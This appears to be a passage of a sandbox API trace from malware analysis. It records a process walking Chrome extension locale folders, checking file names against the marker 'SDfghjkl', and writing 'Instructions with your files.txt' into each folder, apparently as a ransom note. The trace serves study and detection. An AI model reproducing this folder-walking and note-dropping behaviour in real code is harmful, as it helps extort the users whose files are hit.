[0129.011] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.011] CloseHandle (hObject=0x134) returned 1
[0129.011] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.011] GetProcessHeap () returned 0x810000
[0129.011] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.011] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
[0129.011] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned 141
[0129.011] GetProcessHeap () returned 0x810000
[0129.011] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.011] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*") returned 143
[0129.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.012] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\.") returned 143
[0129.012] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.012] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\..") returned 144
[0129.012] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.012] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 155
[0129.012] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.012] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.012] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\Instructions with your files.txt") returned 174
[0129.012] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.012] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.013] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.013] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.013] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.013] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.013] CloseHandle (hObject=0x134) returned 1
[0129.013] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.013] GetProcessHeap () returned 0x810000
[0129.014] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.014] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0129.014] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned 141
[0129.014] GetProcessHeap () returned 0x810000
[0129.014] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.014] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*") returned 143
[0129.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.015] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\.") returned 143
[0129.015] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.015] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\..") returned 144
[0129.015] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.015] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 155
[0129.015] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.015] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.015] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\Instructions with your files.txt") returned 174
[0129.015] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.015] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.016] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.016] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.016] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.017] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.017] CloseHandle (hObject=0x134) returned 1
[0129.017] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.017] GetProcessHeap () returned 0x810000
[0129.017] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.017] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0129.017] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned 141
[0129.017] GetProcessHeap () returned 0x810000
[0129.017] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.017] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*") returned 143
[0129.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.017] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\.") returned 143
[0129.017] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.017] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\..") returned 144
[0129.017] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.017] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 155
[0129.017] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.017] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.018] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\Instructions with your files.txt") returned 174
[0129.018] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.018] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.019] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.019] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.019] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.019] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.019] CloseHandle (hObject=0x134) returned 1
[0129.019] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.019] GetProcessHeap () returned 0x810000
[0129.019] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.019] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0129.019] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned 141
[0129.019] GetProcessHeap () returned 0x810000
[0129.019] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.019] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*") returned 143
[0129.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.020] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\.") returned 143
[0129.020] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.020] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\..") returned 144
[0129.021] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.021] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json") returned 155
[0129.021] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
